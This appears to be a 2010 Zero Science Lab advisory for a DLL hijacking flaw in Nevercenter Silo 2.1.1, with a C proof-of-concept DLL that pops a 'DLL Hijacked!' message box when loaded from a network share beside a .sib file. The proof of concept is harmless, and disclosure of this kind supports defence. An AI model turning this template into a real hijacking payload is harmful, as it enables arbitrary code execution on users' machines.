Gjoko KrsticZSL-2010-4972Nevercenter Silo 2.1.1 Insecure Library Loading Vulnerability
AI Score
Confidence
Low
Title: Nevercenter Silo 2.1.1 Insecure Library Loading Vulnerability
Advisory ID: ZSL-2010-4972
Type: Local/Remote
Impact: System Access
Risk: (4/5)
Release Date: 08.11.2010
Summary
Silo 2 is a focused 3D modeling application with the ability to effortlessly switch between organically sculpting high-polygon models and precisely controlling hard-edged surfaces. It can be used for anything from creating 3D characters for video games and movies to quickly exploring 3D architectural ideas. Silo is currently being used at top studios worldwide as both a stand-alone design tool and as a versatile element of a multi-software 3D graphics workflow. It is available for both Windows and Mac OS.
Description
Silo 2 suffers from a DLL hijacking vulnerability, which could be exploited by remote attackers to compromise a vulnerable system. This issue is caused due to the application insecurely loading certain librairies (“wintab32.dll”) from the current working directory, which could allow attackers to execute arbitrary code by tricking a user into opening an audio file (.sib) from a network share.
Vendor
Nevercenter Ltd. Co. - http://www.nevercenter.com
Affected Version
2.1.1
Tested On
Microsoft Windows XP Professional SP3 (EN)
Vendor Status
N/A
PoC
silo2_dll.c
Credits
Vulnerability discovered by Gjoko Krstic - <[email protected]>
References
[1] http://www.exploit-db.com/dll-hijacking-vulnerable-applications/
[2] http://www.packetstormsecurity.org/filedesc/silo2-dllhijack.txt.html
[3] http://securityreason.com/exploitalert/9456
[4] http://secunia.com/advisories/42170/
[5] http://xforce.iss.net/xforce/xfdb/61321
[6] http://www.securelist.com/en/advisories/42170
[7] http://www.securityfocus.com/bid/44726
Changelog
[08.11.2010] - Initial release
[09.11.2010] - Added reference [1], [2], [3] and [4]
[11.11.2010] - Added reference [5]
[17.11.2010] - Added reference [6]
[19.11.2010] - Added reference [7]
Contact
Zero Science Lab
Web: http://www.zeroscience.mk
e-mail: [email protected]
<html><body><p>/*
Nevercenter Silo 2.1.1 Insecure Library Loading Vulnerability
Vendor: Nevercenter Ltd. Co.
Product web page: http://www.nevercenter.com
Affected version: 2.1.1
Summary: Silo 2 is a focused 3D modeling application with the
ability to effortlessly switch between organically sculpting
high-polygon models and precisely controlling hard-edged surfaces.
It can be used for anything from creating 3D characters for video
games and movies to quickly exploring 3D architectural ideas. Silo
is currently being used at top studios worldwide as both a stand-alone
design tool and as a versatile element of a multi-software 3D graphics
workflow. It is available for both Windows and Mac OS.
Desc: Silo 2 suffers from a DLL hijacking vulnerability, which could be
exploited by remote attackers to compromise a vulnerable system.
This issue is caused due to the application insecurely loading certain
librairies ("wintab32.dll") from the current working directory, which
could allow attackers to execute arbitrary code by tricking a user into
opening an audio file (.sib) from a network share.
Tested on: Microsoft Windows XP Professional SP3 (EN)
Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk
Advisory ID: ZSL-2010-4972
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4972.php
07.11.2010
*/
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int dll_mll()
{
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}
</windows.h></p></body></html>AI Score
Confidence
Low